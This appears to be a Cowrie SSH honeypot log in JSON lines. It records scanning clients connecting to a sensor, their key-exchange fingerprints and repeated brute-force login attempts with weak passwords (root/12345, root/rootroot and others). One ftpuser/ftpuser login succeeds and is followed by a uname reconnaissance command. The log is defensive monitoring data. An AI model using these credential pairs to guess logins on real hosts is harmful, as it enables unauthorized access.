{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:10.775104Z","src_ip":"103.82.20.28","session":"ebe794653194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":52184,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e8936b29c1d","protocol":"ssh","message":"New connection: 51.250.105.222:52184 (10.17.0.5:22) [session: 5e8936b29c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:11.328037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:11.331008Z","src_ip":"51.250.105.222","session":"5e8936b29c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:11.532547Z","src_ip":"51.250.105.222","session":"5e8936b29c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan009","message":"login attempt [root/ruslan009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:11.556827Z","src_ip":"103.82.20.28","session":"ebe794653194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:11.902300Z","src_ip":"51.250.105.222","session":"5e8936b29c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:12.819292Z","src_ip":"103.82.20.28","session":"ebe794653194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:13.028934Z","src_ip":"51.250.105.222","session":"5e8936b29c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9818,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f0e2d2530d","protocol":"ssh","message":"New connection: 5.196.136.131:9818 (10.17.0.5:22) [session: 79f0e2d2530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:13.449251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:13.453170Z","src_ip":"5.196.136.131","session":"79f0e2d2530d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:13.530007Z","src_ip":"5.196.136.131","session":"79f0e2d2530d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:13.762020Z","src_ip":"5.196.136.131","session":"79f0e2d2530d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:14.841952Z","src_ip":"5.196.136.131","session":"79f0e2d2530d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51230,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc11ae34c13f","protocol":"ssh","message":"New connection: 5.196.136.131:51230 (10.17.0.5:22) [session: dc11ae34c13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:17.928859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:17.933982Z","src_ip":"5.196.136.131","session":"dc11ae34c13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:18.015070Z","src_ip":"5.196.136.131","session":"dc11ae34c13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:18.262236Z","src_ip":"5.196.136.131","session":"dc11ae34c13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:19.345875Z","src_ip":"5.196.136.131","session":"dc11ae34c13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17345,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca215526c39f","protocol":"ssh","message":"New connection: 5.196.136.131:17345 (10.17.0.5:22) [session: ca215526c39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:22.277030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:22.287104Z","src_ip":"5.196.136.131","session":"ca215526c39f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:22.365243Z","src_ip":"5.196.136.131","session":"ca215526c39f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:22.706620Z","src_ip":"5.196.136.131","session":"ca215526c39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:23.796931Z","src_ip":"5.196.136.131","session":"ca215526c39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63546,"dst_ip":"10.17.0.5","dst_port":22,"session":"905ab2a8e75b","protocol":"ssh","message":"New connection: 5.196.136.131:63546 (10.17.0.5:22) [session: 905ab2a8e75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:26.669973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:26.673877Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:26.749752Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:27.003497Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:27.202822Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:27.206021Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:27.287066Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:27.292705Z","src_ip":"5.196.136.131","session":"905ab2a8e75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41570,"dst_ip":"10.17.0.5","dst_port":22,"session":"313a8ccd175d","protocol":"ssh","message":"New connection: 5.196.136.131:41570 (10.17.0.5:22) [session: 313a8ccd175d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:31.143455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:31.147513Z","src_ip":"5.196.136.131","session":"313a8ccd175d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:31.228710Z","src_ip":"5.196.136.131","session":"313a8ccd175d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:31.475939Z","src_ip":"5.196.136.131","session":"313a8ccd175d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:32.559891Z","src_ip":"5.196.136.131","session":"313a8ccd175d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52146,"dst_ip":"10.17.0.5","dst_port":22,"session":"36025c6e91bd","protocol":"ssh","message":"New connection: 91.92.40.176:52146 (10.17.0.5:22) [session: 36025c6e91bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.317521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.324188Z","src_ip":"91.92.40.176","session":"36025c6e91bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.405182Z","src_ip":"91.92.40.176","session":"36025c6e91bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.655825Z","src_ip":"91.92.40.176","session":"36025c6e91bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":62604,"dst_ip":"10.17.0.5","dst_port":22,"session":"f466df2241f9","protocol":"ssh","message":"New connection: 5.196.136.131:62604 (10.17.0.5:22) [session: f466df2241f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.672302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.675962Z","src_ip":"5.196.136.131","session":"f466df2241f9","protocol":"ssh"}
